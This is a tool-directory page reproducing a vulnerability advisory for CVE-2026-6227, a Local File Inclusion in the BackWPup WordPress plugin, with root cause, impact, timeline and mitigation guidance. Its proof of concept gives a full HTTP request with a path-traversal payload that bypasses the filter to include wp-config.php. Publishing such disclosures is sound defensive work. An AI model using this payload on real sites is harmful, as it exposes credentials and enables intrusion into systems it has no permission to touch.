Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-6227 — Educational proof-of-concept for CVE-2026-6227, an authenticated Local File Inclusion in BackWPup WordPress plugin, including root cause analysis, exploit request, and mitigation guidance. | Kitploit
Tools/GitHubGitHub/pixel-defaultbr/cve-2026-6227
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubpixel-defaultbr/cve-2026-6227

CVE-2026-6227

Educational proof-of-concept for CVE-2026-6227, an authenticated Local File Inclusion in BackWPup WordPress plugin, including root cause analysis, exploit request, and mitigation guidance.

View Repository
4 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-6227: Local File Inclusion in BackWPup

CVSS Version Researcher

Advisory Summary

BackWPup versions up to and including 5.6.6 are affected by an authenticated Local File Inclusion (LFI) vulnerability via the block_name parameter of the /wp-json/backwpup/v1/getblock REST endpoint.

The flaw was caused by non-recursive str_replace() sanitization of traversal sequences and is already fixed in version 5.6.7.

Metadata

  • CVE: CVE-2026-6227
  • Severity: High
  • CVSS Score: 7.2
  • Affected Product: BackWPup WordPress plugin
  • Affected Versions: <= 5.6.6
  • Fixed Version: 5.6.7
  • Status: Patched
  • Disclosure Date: 2026-04-13
  • Researcher: Pixel_DefaultBR
  • Disclaimer

    This repository is strictly for educational and ethical security research purposes. The information provided here is intended to help administrators and security teams verify their systems. Do not use this against targets without explicit, written permission.

    Affected Surface

    • Function: BackWPupHelpers::component()
    • Endpoint: POST /wp-json/backwpup/v1/getblock
    • Parameter: block_name
    • Access Level: Authenticated Administrator (or users delegated backup permissions)

    Root Cause Analysis

    The vulnerable component loader applies a non-recursive str_replace() sanitization before invoking include(). This can be bypassed using crafted traversal patterns such as ....// or ..././, allowing attacker-controlled path resolution.

    Impact

    • Arbitrary local PHP file inclusion from the server filesystem
    • Potential sensitive data exposure (for example, wp-config.php)
    • Possible remote code execution in specific server/application configurations

    By default, exploitation requires administrator-level access. If backup permissions are delegated, lower-privileged users may also become able to exploit this issue.

    Exploit Preconditions

    • Valid authenticated WordPress session
    • Valid REST nonce
    • Administrator privileges or delegated backup permissions

    Proof of Concept

    Scenario: Local File Inclusion

    1. Log in to WordPress using an account with the BackWPup job capability.
    2. Trigger a normal request from the plugin UI and intercept traffic with a proxy.
    3. Locate a legitimate POST request to /wp-json/backwpup/v1/getblock.
    4. Replace block_name with a traversal payload.

    Example request:

    root@kitploit:~
    POST /wp-json/backwpup/v1/getblock HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-WP-Nonce: <your_nonce_here>
    Cookie: wordpress_logged_in_<hash>=<your_session_cookie>
    
    block_name=....//....//....//....//wp-config&block_type=component&block_data%5Btype%5D=success&block_data%5Bfont%5D=small&block_data%5Bdismiss_icon%5D=true&block_data%5Bcontent%5D=You+scheduled+a+new+backup+successfully!
    
    1. Observe the response to verify file inclusion behavior.

    Timeline

    • 2026-03: Vulnerability reported to vendor
    • 2026-03-25: Vendor patch released in 5.6.7
    • 2026-04-13: Public disclosure (CVE-2026-6227)

    Mitigation

    • Update BackWPup to version 5.6.7 or later
    • Restrict assignment of backwpup capability to trusted roles only
    • Review audit logs for suspicious access to /wp-json/backwpup/v1/getblock

    References

    • Vendor plugin page: https://wordpress.org/plugins/backwpup/
    • CVE reference (Wordfence): https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/backwpup/backwpup-566-authenticated-administrator-local-file-inclusion-via-block-name-parameter
    Download Tool